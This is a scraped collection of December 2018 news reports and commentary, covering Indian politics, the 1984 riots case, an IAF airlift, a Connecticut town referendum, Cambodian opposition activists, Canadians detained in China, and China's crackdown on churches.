wisely the founders have built the bicameral system for preventing majoritarian excess, it can be safely said now that no party can even in theory own both Houses, whatever the result in 2019. So, everyone, including the mighty BJP under Modi and Shah has to learn to negotiate, trade spaces. 6. Indian voters aren't about to start voting against Motilal and Jawaharlal Nehru or Indira and Rajiv in 2018-2019. They are voting for or against you, not someone's great grand-parents. So step out of the time machine. The war of 2019 will be fought in 'these', not 'those' times. Photograph: PTI 7. The BJP's slogan is mera desh badal raha hai (my country is changing). It is probably true. But one thing that is not changing with the voter is her dislike of arrogance, inaccessibility, of leaders who talk down to them. Nor does she like abusive campaigning. It was a blunder to switch to a vidhwa-Ali-Bajrangbali type of campaign metaphor when what had won you a splendid victory in 2014 was the positive promise of "vikas" and "achche din". 8. Madhya Pradesh, Rajasthan and Chhattisgarh are India's most "Hindu" states among those where the BJP is in a straight fight with the Congress. What that means is, the Muslim vote in these is way less than even half the national average. You might, therefore, be able to occasionally polarise a state like Uttar Pradesh with a large Muslim population, but people in predominantly Hindu ones won't vote against the Muslims of UP, Kerala, Kashmir, Assam or Pakistan. Their concern is their own fate. 9. In 2014 you had been able to use nationalism and economic optimism to reunite the Hindu vote chronically divided by caste. The half-life of that formulation ended some time back. Now, win allies among some crucial caste-based parties, concede space to them, or retrace your steps back closer to your core vote. 10. And finally, stop treating Rahul Gandhi like a joke. This election is his coming of age as a political leader. He has put in the effort and commitment. Your criticism of him and his family is dynastic arrogance and 'foreign-ness'. It worked as long as he looked aloof and kept disappearing while you were seen as true, desi sons of the soil. The young Indian voter hates a sense of entitlement. By this campaign, however, the roles have reversed. Rahul has looked more humble, accessible, less entitled, and more positive. How the BJP deals with these 10 lessons will determine the outcome of 2019. Once again, a loser usually learns more from a loss than the winner from a victory. To live up to this with some humility, or imperiously defy it, the choice is the BJP's. By special arrangement with ThePrint 'The reason why we don't have an escalation of war like in 1962 is because in 1962, we didn't have this connectivity.' 'Whereas today, we have lots of incentives to stay stable and connected to China even though we still have that political rivalry.' IMAGE: Prime Minister Narendra Damodardas Modi met with Chinese President Xi Jinping at the G-20 summit in Argentina, November 29, 2018. Chinese Foreign Minister Wang Yi, left, will visit New Delhi for talks with Indian leaders between December 21 and 24. Photograph: Photograph: @MEAIndia/Twitter Prime Minister Narendra Damodardas Modi has said this at several forums, that the '21st century belongs to Asia'. However, it is hard to imagine Asia as a whole, given the multiple rivalries between its nations and presence of several blocs of nations whose interests sometimes clash. Like India and China's does many times. To explain how the 21st century is the 'Asian Century', global strategy advisor Parag Khanna has written a new book The Future is Asian, which will be launched next year. Khanna was in Mumbai earlier this month for a preview of his book and to deliver a TEDx talk on the subject. "It's a very healthy and balanced way to approach the India-China relationship; to view it not as one-dimensional (like) territory as if nothing else matters. Rather to be multi-dimensional; it's economic, it's territory, it's diplomacy, it's culture, it's infrastructure, it's many things," Khanna tells Rediff.com's Utkarsh Mishra. Part 1 of the interview: Why do you think 21st century will be an 'Asian Century'? And will it be all of Asia or dominated by some countries like China? First of all it already is, because we are already in the 21st century. It's not a future prognosis. It's today's reality. It's becoming more and more true every day. Asia is five billion people, so it's the majority of the world population and always will be the majority. Secondly, it's 40 per cent of the world economy. So it's bigger than Europe, it's bigger than America -- already today, not 20 years from now, but today. So we're already in the 'Asian Century', we just don't know it yet, in many ways. Because we don't think of Asia as a concrete thing. We think of China, we think of Japan, we think of India, we don't think of them together as having anything in common. The truth is that Asia has more in common with Asia than rest of the world. But for the past 500 years, because of colonialism and the Cold War, Asians have thought more about the other places of the world rather than itself. But that has changed a lot in exactly the last 20 years. So in my work, I show how Asians already trade more with other Asians than they do with anyone else. They buy more resources from each other. They travel more to each other's countries than anywhere else. So what is happening is there is a reality and there is psychology, and the psychology lags behind the reality. The psychology lags behind the reality in Asia itself, let alone the rest of the world. If Asians themselves don't realise how Asian the world is, how do you expect the Americans and the Europeans to realise how Asian the world is? So that's part of the kind of motivation for me in terms of the new book that I've written is to send this message very, very clearly. And to kind of put the marker on the ground that it is not the Chinese century, it is the Asian century. And Asia is something that is greater than the sum of its part. People think of Asia in just parts -- the China part, the Japan part, the India part -- that they are rivals, they hate each other, they are disconnected from each other. Not true, right? There is rivalry, but there is already a whole that is greater than the sum of its parts. But China has already taken a lead in the form of BRI and other projects. How are others going to catch up? The BRI is something that China kicks off, and leads it. China has first-mover advantage in it. But everyone can win from it. It is not an arms race in the sense of selling weapons to countries and buying their alliances. That is the traditional way of approaching geopolitics. Belt and Road is building infrastructure and everyone gets to use it. It's not a missile system where I sell to you and I give only you the key. I build you a road, and Iran can use the road, Russia can use the road, Saudi Arabia can use the road, India can use the road. China builds a road in Afghanistan and Indian trucks are going to use it more than the Chinese trucks, right? So that's the way Belt and Road works. People think of Belt and Road is something where China is going to dominate. But infrastructure is a different category of activity than weapons. So I think what China is doing actually is a gift. Now everyone is suspicious of a gift from China; because everyone is suspicious of China, and you should be suspicious of China. But that doesn't mean you can't use the gift. And that's the way to look at it. In a previous TED talk on your book Connectography, you said that Asian countries are 'more interested in each other's functional geography than their political geography'. But it is precisely because of 'political geography' that India has kept out of BRI. How do you see that? I said that there's a competition between thinking of the world in terms of political geography versus functional geography. It's not that one disappears and ceases to exist. It's that there are layers, and layer can create a tension with another layer. So if you look at the world only in terms of China and India's territorial competition and rivalry, whether it's the Doklam plateau or the CPEC (China Pakistan Economic Corridor) project that runs through Kashmir, then you have a territorial view. And that's very valid, it's a very big problem. But there's also a functional view that says we also have the Nathu La pass with China, we have growing trade with China, we're trading, you know, 60, 70 billion dollars each year and even more. China is investing in our country, we are taking loans from the Asian Infrastructure Investment Bank which is based in China. So the reason why we don't have an escalation of war like in 1962 is because in 1962, we didn't have this connectivity, we didn't have this functional geography, we had no incentives of connectivity. Whereas today, we have lots of incentives to stay stable and connected to China even though we still have that political rivalry. You see this in the way that the BRI is playing up. Of course, Modi boycotted the BRI Summit in 2017, but India is still taking money from the AIIB. So it's doing both at the same time. And I think it's a very healthy and balanced way to approach the relationship; to view it not as one-dimensional (like) territory as if nothing else matters. Rather to be multi-dimensional; it's economic, it's territory, it's diplomacy, it's culture, it's infrastructure, it's many things. IMAGE: Former Congress leader Sajjan Kumar appears at the Patiala House Court in connection with the 1984 anti-Sikh riots case in New Delhi. Photograph: PTI Photo Former Congress leader Sajjan Kumar approached the Delhi high court on Thursday seeking time till January 30 to surrender after being recently sentenced to life imprisonment in a 1984 anti-Sikh riots case. 73-year-old Kumar, who was directed by the high court on Monday to surrender before authorities by December 31, sought more time saying he has to settle family affairs. The plea is likely to come up for hearing before the high court on Friday. He also appeared before a Delhi court amid tight security in another 1984 riots case in which trial is going on. The trial court adjourned the matter for January 22 after he said that his main counsel was unavailable. Kumar, accused of instigating a mob to kill Sikhs, surrendered his mobile phone before the court following directions of the high court as per its order convicting him on December 17. In the application filed before the high court, advocate Anil Sharma, representing Kumar, said he needed some more time to file appeal before the Supreme Court challenging the conviction verdict, and the leader has to settle his family matters relating to children and property. The plea said Kumar is "under shock and surprise" since the time he has been convicted and he believes that he is innocent. The case relates to killing of five Sikhs in Raj Nagar part-I area in Palam Colony in South West Delhi on November 1-2, 1984, and burning down of a Gurudwara in Raj Nagar part II during that period. The riots had broken out after the assassination of the then Prime Minister Indira Gandhi on October 31, 1984 by her two Sikh bodyguards. In the application, Kumar said he has a big family, including wife, three children and eight grand children and has to settle certain family matters including those related to property. The plea also said he has the statutory right to file an appeal against the high court verdict for which he needs to engage senior advocates who are presently out of India on holiday as the Supreme Court is on vacations. "The applicant (Kumar) is the best person to brief his counsel and inform them about the facts. The applicant prays that he be granted further extension of 30 days so as to enable him to settle his family affairs to meet his close relatives, near and dear ones including friends who have been associated with him over a period of 73 years of his life," it said. Kumar was convicted and sentenced to imprisonment for 'remainder of his natural life' in the case by the high court on December 17 which had said the riots were a 'crime against humanity' perpetrated by those who enjoyed 'political patronage' and aided by an 'indifferent' law enforcement agency. The high court had set aside the trial court's verdict which had acquitted Kumar in this case. In the other case pending before the trial court, three persons -- Kumar, Brahmanand Gupta and Ved Prakash -- are facing charges of murder and rioting pertaining to the killing of Surjit Singh in Sultanpuri. The witness, Cham Kaur, had on November 16 this year identified Kumar before the court as one who had allegedly instigated the mob to kill Sikhs. Kaur had told the court that she had seen Kumar allegedly addressing a crowd in the national capital's Sultanpuri area in 1984 that Sikhs had killed 'our mother' and instigated the mob to kill them. In the Delhi Cantonment case, Kumar was convicted and sentenced to imprisonment for 'remainder of his natural life' by the high court on December 17 which had said the riots were a 'crime against humanity' perpetrated by those who enjoyed 'political patronage' and aided by an 'indifferent' law enforcement agency. The court had said there has been a familiar pattern of mass killings since the Partition, like in Mumbai in 1993, Gujarat in 2002 and Muzaffarnagar, UP in 2013, and the 'common' feature of each was the 'targeting of minorities' with the attacks being 'spearheaded by the dominant political actors, facilitated by the law enforcement agencies'. The six accused, including Kumar who was a Member of Parliament at that time, were sent for trial in 2010. Three years later, the lower court convicted five of the accused but acquitted him of all the charges. The high court has upheld the conviction and varying sentences awarded by the trial court to the other five -- former Congress councillor Balwan Khokhar, retired naval officer Captain Bhagmal, Girdhari Lal and former MLAs Mahender Yadav and Kishan Khokhar. It also convicted them for criminal conspiracy to burn down residences of Sikh families and a gurdwara in the area during the riots. The trial court in 2013 had awarded life term to Khokhar, Bhagmal and Lal, and a three-year jail term to Yadav and Kishan Khokhar. Following the high court verdict, life term of Khokhar, Bhagmal and Lal has been upheld and the sentence of Yadav and Kishan Khokar has been enhanced to a 10 years in jail. All six, including Kumar, have been directed by the high court to surrender by December 31, and not to leave the city of Delhi. IMAGE: Hamid Nihal Ansari, who was repatriated by Pakistan after six years in jail, arrives at his residence in Mumbai, on Thursday. Photograph: PTI Photo Back home after six years in a Pakistani jail, software engineer Hamid Nihal Ansari on Thursday said he wants to move on, instead of 'reopening old wounds' about the pain he endured during this period. Ansari, 33, who reached Mumbai to a cheering welcome by friends and relatives, said he wants to get a job and then find a suitable match for himself (pehle naukri phir chhokri). "I don't want to recall what happened with me (while in Pakistan). I want to look at the future," he said. Ansari was arrested in Pakistan in 2012 for allegedly entering that country from Afghanistan reportedly to meet a woman he had befriended online. Pakistan slapped espionage charges against him. He was repatriated on Tuesday and handed over to India at the Wagah-Attari border. Ansari and his parents landed in Mumbai on Thursday morning from Delhi by an Air India flight. Relatives, friends and well-wishers greeted and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. When they reached home, they were greeted by a large number of neighbours who were waiting to catch his glimpse. Speaking to media persons at the airport, Ansari said, "I made some mistakes but now I want to look ahead to the future." "I can't describe my feelings of the moment I crossed the border and touched the Indian soil and caught a glimpse of my parents, who were waiting on the Indian side," he said. "I then realised how much they must have suffered for me. I wanted to meet them immediately, but could not as I was on the Pakistani side for some time," Ansari said. Asked about an eye injury he apparently suffered during interrogation at the Pakistani prison, Ansari said the interrogation process cannot be avoided. "During the interrogation, the retina of my eye got ruptured. But, they admitted me to a government hospital and it was treated...they compensated for it (treatment)," he said. Ansari attributed an alleged attack on him in Peshawar prison to a misunderstanding which escalated. On his plans, the software engineer said first there will be a celebration with the family. "I have to find a job and after that I also have to find a woman to get married," he said. Ansari was imprisoned in the Peshawar jail after being sentenced by a military court on December 15, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken due to relentless pressure from New Delhi, they said. Shortly before he reached India, his mother Fauzia had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father Nihal had said it was a new dawn for them. Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave Pakistan government a month's time to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. The unstated aim of a well-publicised airlift operation of this kind is to demonstrate India's ability to rapidly move troops and equipment over long distances. Ajai Shukla reports. Video and Photographs: Kind courtesy Indian Air Force Signalling the coming of age of India's strategic airlift capability, the Indian Air Force mounted an unprecedented airlift in which its transport aircraft fleet airlifted almost 500 tonnes of equipment to Ladakh in one coordinated operation on Tuesday, December 18. It was called Exercise Bahubali. Terming this an effort to evaluate its own rapid airlift capability, the IAF announced: 'The effort was accomplished with the aid of a fleet of 16 fixed-wing transport aircraft comprising C-17 Globemaster, the Ilyushin-76 Gajraj and the medium-lift tactical aircraft, Antonov-32. All aircraft were loaded and took off from Chandigarh airbase early in the morning. The entire wave was accomplished in little less than six hours.' Such an airlift would be invaluable in wartime, for reinforcing a threatened sector, such as Ladakh, with troops or equipment; as well as in peacetime for flying in assistance in the event of a natural disaster -- floods, an earthquake, or a tsunami. The unstated aim of a well-publicised airlift operation of this kind is also to demonstrate India's power-projection capability, and its ability to react to strategic developments in the Indo-Pacific region by rapidly moving troops and equipment over long distances. "Rapid air mobility is a key component of modern warfare. This assumes greater significance in short and intense wars. This is very true in India's context, especially when related to air mobility to airfields in the Ladakh region," Air Marshal N J S Dhillon of the Western Air Command, who oversaw this airlift exercise, said. "With a wide spectrum of military transport aircraft in its inventory, the IAF today has a credible airlift capability, which has provided succour on numerous occasions when the nation was struck with natural calamities," Air Marshal Dhillon added. The IAF first began building its strategic airlift capability when it inducted the Ilyushin-76 in the 1980s. In 1988, the utility of these airlifters was demonstrated when they flew Indian Army paratroopers into the Maldives to respond to an SOS from then president Maumoon Abdul Gayoom who was deposed in a coup. However, with the Ilyushin-76s, along with the AN-32 medium transport fleet, fully occupied in airlifting personnel and supplies to support remote army deployments on the Himalayan frontier -- Ladakh alone requires 3,000 tonnes of supplies every month -- the military pushed for addition heavy airlift capability. This was provided in 2011 with the induction of 10 C-17 Globemaster III heavy lift aircraft. Adding to the IAF's airlift capability was the procurement of 12 C-130J Super Hercules transport aircraft -- six in 2008 and another six in 2013. While the AN-32 and Ilyushin-76 were older, less capable aircraft, the C-130J and C-17 enhanced India's airlift capability into the strategic league. The C-130J can land and take off from short, unprepared runways, while the C-17 can lift more than 100 troops, or over 70 tonnes of equipment in a single sortie. Boeing, which built the C-17, says it can 'take off from a 7,600 feet (2,300 metres) airfield, carry a payload of 160,000 pounds (72.5 tonnes), fly 2,400 nautical miles (4,444 kilometres), refuel in flight and land in 3,000 feet (950 metres) on less in day or by night.' WATCH: IAF's record airlift! Recently, the C-17 fleet was used to fly Indian Army T-72 tanks, each weighing 42 tonnes, into new deployment areas in Ladakh. "With today's (Tuesday's) operation, the IAF has demonstrated its capability to help the army react to operational contingencies -- redeployment of troops, reinforcement of positions -= at very short notice. For a rising power like India, strategic airlift is an important capability its military must have," said Air Vice Marshal Nirdosh Tyagi (retd). IMAGE: A view of the Rajya Sabha during the Winter Session of Parliament, on Thursday. Photograph: RSTV Grab via PTI Parliament was adjourned for the day on Thursday after the Lok Sabha managed to pass two bills and Rajya Sabha failing to transact any business amid uproar by the Opposition over various issues in both Houses. Both Houses have been witnessing a ruckus over the Rafale fighter jet deal and Cauvery river issue, among other matters. The two bills which were passed by Lok Sabha were the Consumer Protection Bill, 2018 and the National Trust for Welfare of Persons with Autism, Cerebral Palsy, Mental Retardation and Multiple Disabilities (Amendment) Bill, 2018. In the Rajya Sabha, slogan-shouting members of Tamil parties -- the All India Anna Dravida Munnetra Kazhagam and the Dravida Munnetra Kazhagam -- trooped into the well of the House over the Cauvery issue as soon as the House met for the day. Opposition Congress members also shouted slogans and held placards seeking a probe by the Joint Parliamentary Committee (JPC) into the purchase of Rafale jets from France. Treasury benches countered Congress members with slogans demanding an apology from Congress President Rahul Gandhi following the Supreme Court clean chit to the Rafale deal. Rajya Sabha Chairman M Venkaiah Naidu said all issues can be discussed and members should allow the House to function. "Many issues are pending. Important bills are there. We have to discuss about (devastation caused by) cyclones (in some states)," he said. However, sensing the mood he adjourned the House for the day minutes after it assembled. In the Lok Sabha, the proceedings were adjourned in the morning amid sparring between members from Tamil Nadu and Karnataka over the issue of proposal to build a dam on the Cauvery River. While members from Congress demanded a Joint Parliamentary Committee (JPC) probe into the Rafale deal, Tamil Nadu and Karnataka entered the well holding placards over the Cauvery issue. Telugu Desam Party MPs demanded special category status for Andhra Pradesh and setting up of a steel plant in the state. However, the lower house managed to pass two bills after which Speaker Sumitra Mahajan agreed to a debate on the triple talaq bill on December 27, and adjourned the House for the day. As the Muslim Women (Protection of Rights on Marriage) Bill, 2018, was taken up for consideration, Leader of Congress in the House Mallikarjun Kharge suggested it be taken up for discussion next week. He said the Opposition would also participate in the debate on the bill. Parlimentary Affairs Minister Narendra Singh Tomar sought an assurance from the Opposition that it would allow discussion on the bill without disruption on that day. Following Kharge's suggestion, Law Minister Mani Shankar Prasad said, "As Kharje ji has made an open promise, we have no problems in having a discussion on December 27. I urge that this debate be held in a sanguine and peaceful manner." Following this the Speaker adjourned the Lok Sabha for the day. IMAGE: Constable Prashant Chaudhary, responsible for shooting Tiwari dead during his patrol duty, in police custody. Photograph: Nand Kumar/PTI Photo A special investigation team of the Uttar Pradesh Police has suggested in its report that constable Prashant Chowdhary had opened fire "without any provocation" at Apple employee Vivek Tiwari in Lucknow in September leading to his death. The constable shot at the 38-year-old Apple store manager, who was in an SUV, after he allegedly refused to stop his car in Gomti Nagar on September 29. The report by the SIT, led by Inspector General Sujeet Pandey, was submitted to the DGP office here Wednesday night. The constable had claimed that he had opened fire at Tiwari when he refused to stop his car. But, the SIT report says Tiwari was trying to leave the spot when he was intercepted by police and hit the patrol motorcycle. Meanwhile, Sandeep Kumar, the constable accompanying Chowdhary, has been given a clean chit in the murder, but was charge-sheeted under Section 323 of the IPC for voluntarily causing hurt to Tiwari's female colleague Sana Khan, who was also in the vehicle. Both the constables were arrested and are presently in jail. The 16-page SIT report also recommended action against the then Gomti Nagar SHO and the then Circle Officer for lapses. Pandey told reporters that the murder took place "without any provocation". It was not pre-planned and happened on the spur of the moment, he said. "After a detailed investigation, we have charged Chaudhary under IPC section 302 (murder). He had claimed that he fired the bullet in self-defence. However, we found there was no imminent life threat to him or even any injury caused...," Pandey said. The Lucknow Police will file a charge sheet in the case soon, he said. H John Voorhees III / Hearst Connecticut Media New Milford Mayor Pete Bass is looking to fill vacancies on several boards and commissions. Regular or alternate positions are available on the Alarm Appeals Board, the Arts Commission, the Housing Partnership, the Inland Wetlands Commission, Lake Lillinonah Authority, the Library Board of Trustees, the Municipal Roads Committee and the Northville One-room Schoolhouse Committee. LITCHFIELD The failed referendum on a new town hall and the annex leaves the Greater Litchfield Preservation Trust, the Litchfield Housing Trust and the Board of Selectmen wondering what to do next. The referendum asked voters to approve borrowing $7.6 million to renovate the old Litchfield County Courthouse on West Street for a new town hall and to sell the old Bantam School/Annex property to the housing trust for affordable housing. Voters Wednesday turned down both questions: 1,303 to 847 for the courthouse and 687 to 1,452 for the annex property. Both sites were used for court facilities until two years ago, when the new courthouse opened in Torrington. The West Street building is now owned by the Greater Litchfield Preservation Trust, while the annex building is owned by the town. Since early fall, the boards of selectmen and finance, and a Town Hall Review Committee, have gathered public comments and heard proposals for both sites. Litchfields town hall offices are housed in the center of town as well as in the annex. First Selectman Leo Paul said Thursday he was disappointed that the annex vote failed. He and other town officials will have to revisit both issues in the new year. The people in the community have spoken, and well make it work as it relates to the town hall, he said. Well probably reactivate the Town Hall Review Committee and see what we can do. The Bantam School vote outcome was disappointing. Now the town will be responsible for the buildings upkeep, when two-thirds of it is empty. But somehow, well make it work. Perley Grimes, president of the preservation trust, was also disappointed by the referendum results. We are obviously very disappointed in the result, he said Thursday. But we felt it was important to bring the issue to the voters, and they have decided. We will move on. Grimes said the preservation trust has plenty of support, but not enough. Our effort to get the voters to speak was supported very strongly, by not only our all-volunteer board, but also by concerned citizens. We thank both our board and the citizens and voters who supported us, he said. The preservation trust is scheduled to meet in January to discuss the old courthouses future. With the holidays coming upon us, were going to take a break and reassemble after the first of the year to discuss options for this important building, Grimes said. We remain committed to preserving and protecting the courthouse as the most recognizable building in all of Litchfield County. Well look at various options and uses, and hope to find a use to protect and preserve it. The commercial block on West Street (where the courthouse building is located) deserves the best. Well find it. A developer in Litchfield who recently renovated another vintage building in town has expressed some interest in the building. Grimes said the trust is not interested in allowing the courthouse to become another commercial property. Weve heard about some interest, but that has not been considered by us, he said. Some residents dont want the Bantam Annex to go to the Litchfield Housing Trust. An anonymous flier was found in local mailboxes the day before the referendum urging residents to reject the proposals. The flier cited the annexs value at $1.1 million, saying the annex and its 10 acres could be used by the town and should not be sold to anyone. On Thursday, resident Paul Rosenberg filed a complaint with the State Elections Enforcement Commission in regards to the flier. In his complaint, Rosenberg said that because the flier was anonymous, with no attributing name or address identifying who was paying for it, it violates state election laws. Another complaint is also expected to be filed with the SEEC this week, Rosenberg said. Fliers from groups, organizations or businesses or political parties are required by law to identify themselves or whoever is paying for the mailing, also known as full disclosure. An individual can send anonymous fliers or letters, but if the cost of the mailing is more than $1,000, it must be filed with the town clerk, according to the SEEC. The law is pretty clear about referenda and elections materials, attorney Joshua Foley, a spokesman for the SEEC, said earlier this week. The commission fields a lot of complaints about fliers on referenda. LITCHFIELD Two referendum questions put to voters Wednesday failed by a more than 2-to-1 margin. Results of first question, whether to renovate the former Litchfield County Courthouse, was rejected 1,303 to 847. The second question, whether to sell Bantam School, was rejected 1,451 to 687. Voter turnout at the District 1 polling place at the Litchfield Firehouse was about 35 percent, poll workers said. Cleve Fuessenich, District 1 moderator, said the turnout was moderate, but steady. Were happy with it, he said. Jake Horne, vote tabulator, said after the polls closed that there was an unspoken issue from business people whether we really need to have another town hall. The feeling was, Isnt it OK just to fix it? Horne said. Because the measure failed, theyll have to cough up the dough to fix up the old Town Hall, he added. The referendum to renovate the former courthouse at 15 West St. sought approval to appropriate $7.6 million for the project. The second question would have approved the sale of the school at 80 Doyle Road to the Litchfield Housing Trust Inc. For the past few months, elected and appointed officials had gathered public comments and heard proposals for both sites. Both buildings had served as court facilities until two years ago. The buildings were no longer needed after the Superior Court in Torringon was built on Field Street. Cambodia National Rescue Party president Sam Rainsy speaks to RFA in an interview on Skype in a file photo. Following a recent pledge by opposition leader Rainsy to return next year to Cambodia, police in Kandal province have questioned local Cambodia National Rescue Party (CNRP) activists concerning their possible support for the partys acting president in the event he comes back, Cambodian sources say. Summoned by Akreiy Ksatr commune police on Dec. 20, the eight activists were told to defect to the ruling Cambodian Peoples Party (CPP), former CNRP commune chief Touch Savuth told RFAs Khmer Service on Thursday. Resisting police pressure, Touch Savuth refused to change her party affiliation, she said. I have chosen my party in order to change our countrys leader, who is a dictator and corrupt, Touch Savuth said, referring to Cambodian Prime Minister Hun Sen, who has ruled the Southeast Asian country for more than 30 years. Tong Sarun, another activist, said police had forced him to promise not to write on a Facebook page connected to the CNRP, which was dissolved by Supreme Court order last year, allowing Hun Sen to sweep national elections in July without effective opposition. They forced me to sign, Tong Sarun said. I am very upset, but for the sake of my safety and security I had to do it. Reached for comment, commune police chief An Penh declined to comment on the summons, but said that all eight activists called in were no longer members of the CNRP. Provincial CNRP leaders meanwhile welcomed the news of Sam Rainsys promised return, vowing their support for the opposition leader who fled Cambodia into exile following a string of convictions in court cases widely seen as politically motivated. We are ready to go to prison with Sam Rainsy if authorities arrest us, Dim Savoeuna CNRP leader from northwestern Cambodias Battambang provincetold RFA. We have been with Sam Rainsy for 10 to 20 years, and we know that he is working for the sake of our country. Cambodian government spokesman Phay Siphan was unavailable for comment Thursday, but has previously said that opposition activists are free to discuss Sam Rainsys return as long as they provoke no instability in the country. 'A vital move' Political analyst Kim Sok meanwhile called Sam Rainsys return to Cambodia a vital move in the countrys fight for freedom and democracy. The ruling CPP will find it difficult to arrest not just Sam Rainsy but all of his supporters, he said. Hun Sen is afraid of Sam Rainsy, so the CPP will try again and again to frighten him out of the country, he said. Cambodian opposition politician Sam Rainsy, living in self-imposed exile since 2016, vowed on Dec.16 to return to Cambodia next year to fight for democracy, amid stark divisions among the governments political opponents. I am asking all Cambodians to rise up and join me at that time, so that we can jointly fight for real change, Sam Rainsy said, adding, We need to stand up against Hun Sen and bring back democracy in 2019. Once the major opposition party to Prime Minister Hun Sens ruling CPP, the CNRP was dissolved by Cambodias Supreme Court in Nov. 2017. Sam Rainsy cofounded the party in 2012 after merging his Sam Rainsy Party with Kem Sokhas Human Rights Party. Sam Rainsy served as the new partys president, but stepped down while in exile in Feb. 2017 in favor of Kem Sokha, who was then vice president. With Kem Sokha currently under house arrest while awaiting trial on charges of treason, Sam Rainsy became acting president on Dec. 9 after being nominated during a two-day international conference of the CNRP in Atlanta that was boycotted by Kem Sokhas supporters. Meanwhile, in a Dec. 20 statement released following a two-day meeting of the CPP, the ruling party vowed to continue on its present political course and to resist international pressure to enact reforms, saying powerful nations have used calls for human rights and democratic values only to interfere in Cambodias internal affairs. Reported by Vannarith Im for RFAs Khmer Service. Translated by Samean Yun. Written in English by Richard Finney. UPDATED at 3:00 P.M. EST on 2018-12-20 Canada on confirmed that a third Canadian national has been detained by authorities in China in the wake of the arrest of Huawei CFO Meng Wanzhou in Vancouver. "Global Affairs Canada is aware of a Canadian citizen detained in China. Consular officials are providing assistance to the family," spokeswoman Maegan Graveline said on . A source who spoke on condition of anonymity said Canadian officials found out about the detention on from someone who knows the detainee, not from Beijing. China's Foreign Ministry on Thursday identified the third detainee as Canadian teacher Sarah McIver and said has been given an administrative punishment for working illegally in China. Canada's National Post newspaper reported that arrangements were being made for McIver to return to Canada after she was detained over a visa irregularity. Last week, authorities in China confirmed that are already holding two Canadian nationals -- consultant Michael Spavor and former Canadian diplomat Michael Kovrig -- on suspicion of "harming national security," amid ongoing diplomatic tensions with Ottawa over Meng's arrest. Their detention came after Beijing called for Meng's release, warning that "grave consequences" could ensue if the Canadian authorities continued to hold her. Spavor is a China-based tourism consultant with contacts among high-ranking North Korean officials, while Hong Kong-based Kovrig had been working for the nongovernmental organization International Crisis Group (ICG). Chinese law allows police to detain those suspected of vaguely worded "national security" crimes and hold them under residential surveillance at a secret location for up to six months, with no access to lawyers or family visits. Extradition hearing Meng was granted bail, and is confined under curfew to her residence in Vancouver, and must wear an electronic GPS tag at all times. U.S. investigators must now file a formal extradition request by Jan. 8, 2019, after which Meng will appear at a hearing on Feb. 6, before the extradition hearing is scheduled. U.S. investigators allege that Meng, a Hong Kong passport-holder, set up a company called Skycom to re-sell U.S.-made computer equipment to Iran, bypassing sanctions, and then sought to cover up the company's links to Huawei through the alleged fraud. Her arrest came amid growing national security concerns over Huawei's bid to supply the next generation of 5G mobile technology to networks around the world. Beijing has hit out at Canada and the United States over her arrest, while Huawei has denied it has close ties to the ruling Chinese Communist Party, saying it is a private company. Benson Wong, a former politics professor at Hong Kong's Baptist University, said Canada would need to act carefully, as the detainees could be used as bargaining chips in the Meng case. "There's one important factor that Canada needs to consider, and that is whether China will stop what it is doing even if they do make concessions," Wong said. "Any compromise will send out the wrong message, [that] China only needs to detain U.S. citizens to exert pressure on the U.S., or British citizens to exert pressure on the U.K." "This could lead to a kind of hostage diplomacy." Great Firewall, Golden Shield Meanwhile, Huawei invited a number of Western media organizations to a news conference in the southern Chinese city of Shenzhen on , to insist that it has no links to the government. "Huawei isn't a technical institution linked to the Chinese government, but a technology company," CEO Hu Houkun told journalists. "We have received no requests from the Chinese government." But an internet analyst surnamed Zhang said such comments don't reflect the reality of the relationship between technology companies and the ruling Chinese Communist Party. "There's no way that Huawei has no ties to the Chinese government," Zhang said. "They were involved in a whole series of government initiatives, for example, they built the Great Firewall to ensure that people couldn't browse overseas websites." "They also helped to develop Project Golden Shield, a facial recognition system, which means that you can be recognized when you walk down the street, and within a few minutes, all your personal data is shown," he said. "Huawei smartphones are also preinstalled with censorship and deletion software, so you can't get onto overseas websites." Other commentators have cited China's National Intelligence Law that requires "any citizen or organization" to comply with requests for intelligence gathering on behalf of the Chinese state, or face "criminal accountability." "Any organization and citizen shall, in accordance with the law, support, provide assistance, and cooperate in national intelligence work, and guard the secrecy of any national intelligence work that they are aware of," Article 7 of the law states. "The state shall protect individuals and organizations that support, cooperate with, and collaborate in national intelligence work." Reported by Wen Yuqing for RFA's Cantonese Service, and by Qiao Long for the Mandarin Service. Translated and edited by Luisetta Mudie. The ruling Chinese Communist Party has stepped up a nationwide crackdown on Christians, raiding and detaining pastors and members of churches in several locations as urban authorities warn against public decorations and events. Authorities are undergoing "one of the largest crackdowns on underground Christian churches since draconian amendments to the Religious Affairs Regulations went into effect in ," according to the overseas-based Chinese Human Rights Defenders (CHRD) network. In Washington, the Congressional-Executive Commission on China (CECC) said the targeting of Christians is part of President Xi Jinping's bid to "sinicize" religious belief, by bringing it under the close control of the ruling party. "We are deeply concerned by the escalating crackdown against Christians in China, including the forced closure of prominent Protestant churches, confiscation of church property and harassment and detention of church and lay leaders alike," CECC co-chairs Chris Smith and Marco Rubio said in a statement on the CECC's website. "As Christians around the world prepare to celebrate , Chinas Christians and other faith communities are under siege and treated as enemies of the state for daring to worship and peacefully live out their faith," they said. They called for Chinese officials and others complicit in severe religious freedom violations to be held accountable by U.S. officials. The statement came as police in the southwestern Chinese province of Yunnan issued a notice banning businesses from -themed events and forcing them to take down decorations. Similar bans were also issued in the southwestern province of Sichuan, where police detained more than 50 members of the Early Rain Covenant Church earlier this month. A notice from the Gulou police station in Yunnan's provincial capital Kunming seen by RFA banned -related decorations and activities in all bars, hotels, karaoke bars, internet cafes and other public spaces. An employee who answered the phone at a nearby hotel confirmed that the ban was in place, although it was unclear whether it would extend to foreign guests. "I have received that notice saying that we can't have such activities ... they're not allowed," the employee said. Bans on Christmas observances An employee who answered the phone at the nearby Xiqiao Hotel also confirmed that no events would be held this year. But a hotel serving mostly foreign guests said it had been allowed to keep its tree in the lobby, and that dinner would be served on Dec. 25. Repeated calls to the Kunming police department's local branch went unconnected during office hours on . Authorities in the eastern province of Shandong had issued similar bans, local sources told RFA. And a Christian church member in the northern province of 